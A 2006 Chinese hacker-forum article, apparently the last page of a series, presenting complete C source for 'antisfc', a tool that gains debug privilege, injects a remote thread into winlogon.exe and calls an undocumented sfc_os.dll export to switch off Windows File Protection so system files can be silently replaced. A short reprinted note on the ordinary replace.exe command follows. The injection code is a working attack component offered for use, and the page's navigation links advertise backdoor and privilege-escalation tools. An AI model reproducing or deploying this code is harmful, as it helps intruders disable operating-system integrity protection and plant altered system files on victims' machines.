黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]在Win2000/XP上安静地替换正在使用的系统文件
      ★★★★★

在Win2000/XP上安静地替换正在使用的系统文件

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-12 9:34:12


  下面的注入方法是从crazylord的代码中拷过来的, 不过方法不是. :), 写完后就懒得检查了, 加之水平有限, 写的不过优雅的地方就将就着看.

-----------------cut antisfc.c-----------

#include <stdlib.h>
#include "Windows.h"
#include "Tlhelp32.h"
#pragma comment( lib, "Advapi32.lib" )

typedef void (_stdcall * CLOSEEVENTS)(void);
typedef unsigned long DWORD;
typedef DWORD ANTISFC_ACCESS;

/*
* ANTISFC structures
*/

typedef struct _ANTISFC_PROCESS {
DWORD Pid; // process pid
HANDLE ProcessHandle; // process handle
char ImageName[MAX_PATH]; // image name (not full path)
} ANTISFC_PROCESS, *PANTISFC_PROCESS;

__inline void ErrorMessageBox(char *szAdditionInfo)
{
printf("error on %s, error code %d. \n", szAdditionInfo, GetLastError());
}

void usage(char *n) {
printf("usage: %s [/d]\n", n);
printf("\t/d: disable sfc file protecte fuction.\n");
exit(0);
}

DWORD Init() {
DWORD Ret = 0;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
 ErrorMessageBox("OpenProcessToken");
} else {

 if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
 ErrorMessageBox("LookupPrivilegeValue");
 } else {

 tkp.PrivilegeCount = 1;
 tkp.Privileges[0].Luid = sedebugnameValue;
 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

 if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
 ErrorMessageBox("AdjustTokenPrivileges");
 } else {
 Ret = 1;
 }
 }
 CloseHandle(hToken);
}

return(Ret);
}

DWORD GetPidEx(char *proc_name, char *full_path) {
DWORD dwPid=0;
HANDLE hSnapshot;
PROCESSENTRY32 pe;
BOOL Ret;
 
if (isdigit(proc_name[0]))
 dwPid = strtoul(proc_name, NULL, 0);
else
 dwPid = -1;
 
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == (HANDLE) -1){
 ErrorMessageBox("CreateToolhelp32Snapshot");
 return(0);
}

pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32First(hSnapshot, &pe);

while (Ret) {
 if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)
 || (pe.th32ProcessID == dwPid)) {
 dwPid = pe.th32ProcessID;
 strcpy(full_path, pe.szExeFile);
 break;
 }
 pe.dwSize = sizeof(PROCESSENTRY32);
 Ret = Process32Next(hSnapshot, &pe);
}

CloseHandle(hSnapshot);
if (dwPid == -1)
 dwPid = 0;
return(dwPid);
}

DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) {
DWORD Ret=0;

Process->Pid = GetPidEx(proc_name, Process->ImageName);
if (Process->Pid != 0 && Process->ImageName[0] != 0) {
 Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);
 if (Process->ProcessHandle == NULL)
 ErrorMessageBox("OpenProcess");
 else
 Ret = 1;
}

return(Ret);
}

DWORD InjectThread(PANTISFC_PROCESS Process,
 PVOID function) {
HANDLE hThread;
DWORD dwThreadPid = 0, dwState;

hThread = CreateRemoteThread(Process->ProcessHandle,
 NULL,
 0,
 (DWORD (__stdcall *) (void *)) function,
 NULL,
 0,
 &dwThreadPid);
if (hThread == NULL) {
 ErrorMessageBox("CreateRemoteThread");
 goto cleanup;
}

dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes

switch (dwState) {
case WAIT_TIMEOUT:
case WAIT_FAILED:
 ErrorMessageBox("WaitForSingleObject");
 goto cleanup;

case WAIT_OBJECT_0:
 break;

default:
 ErrorMessageBox("WaitForSingleObject");
 goto cleanup;
}

CloseHandle(hThread);
return dwThreadPid;
 
cleanup:
CloseHandle(hThread);

return 0;
}

int main(int argc, char* argv[])
{
ANTISFC_PROCESS Process;
HMODULE hSfc;
DWORD dwThread;
CLOSEEVENTS pfnCloseEvents;
DWORD dwVersion;

printf("AntiSfc programed by bgate. :) *\n\n");

if (argc != 2)
 usage(argv[0]);

if (strcmp(argv[1], "/d") != 0) {
 usage(argv[0]);
}

if (Init()) {
 printf("debug privilege set\n");
} else {
 printf("error on get debug privilege\n");
 return(0);
}

if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) {
 printf("error on get process info. \n");
 return(0);
}

dwVersion = GetVersion();
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){ // Windows 2000/XP
 if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){ //Windows 2000
 hSfc = LoadLibrary("sfc.dll");
 printf("Win2000\n");
 }
 else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
 hSfc = LoadLibrary("sfc_os.dll");
 printf("Windows XP\n");
 }
}
//else if () //2003?
else {
 printf("unsupported version\n");
}

pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,
 MAKEINTRESOURCE(2));
if(pfnCloseEvents == NULL){
 printf("Load the sfc fuction failed\n");
 FreeLibrary(hSfc);
 return(0);
}

FreeLibrary(hSfc);

dwThread = InjectThread(&Process,
 pfnCloseEvents);
 
if(dwThread == 0){
 printf("failed\n");
}
else{
 printf("OK\n");
}

CloseHandle(Process.ProcessHandle);
return(0);

}

------------------end cut---------
  在运行zap替换系统文件前运行一下antisfc就行了, 你也可以把它们写到一起. 理论上他能在2000, xp, 2003?的任何版本上使用. 不过我只在Win2K sp4+, WinXP sp1+上测试过.
  本文的缺点是替换的系统文件只能在重启后生效, 写完了.

附转:在Win 98/Me下轻松替换使用着的文件
大家都知道,在Windows 98/Me下,有一个“系统文件查看器”,使用该工具我们可以轻松地查找出系统里的哪些文件被损坏了,并可以从安装盘中将对应的文件提取出来,替换已经损坏的文件。在Windows XP中,这个工具不见了,其实啊,Windows XP也有能实现这个工具功能的命令,它就是Replace.exe。该命令在Windows安装目录的System32文件夹下,它的主要功能,就是替换文件,与Windows 98/Me中的“系统文件查看器”不一样的是,它能够替换正在使用中的文件!

  例如,我们用Windows Media Player播放一首路径为“g:\temp\source.mp3”的歌曲,然后在命令提示符窗口下键入下列命令:

  replace.exe d:\windows\temp\source.mp3 g:\temp

  这里的“d:\windows\temp\source.mp3”是准备用来替换的另一首MP3歌曲,注意两个文件的文件名必须保持一致,很快我们就会在看到替换成功的提示,接下来Windows Media Player窗口正在播放的歌曲也会自动变为另一首歌曲,呵呵,够神奇的吧?当然,replace命令的最大好处是用来替换系统文件,这样就不需要重新启动到安全模式下了!

  Replace.exe命令的使用参数如下,有兴趣的朋友可以深入研究一下:

  /A——把新文件加入目标目录,注意不能与/S或/U搭配使用。

  /P——替换文件或加入源文件之前提醒用户进行确认。

  /R——替换只读文件以及未受保护的文件。

  /S——替换目标目录中所有子目录中的文件。

  /W——等待用户插入磁盘后再运行。

  /U——只替换或更新比源文件日期早的文件,不能与/A搭配使用。

上一页  [1] [2] [3] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886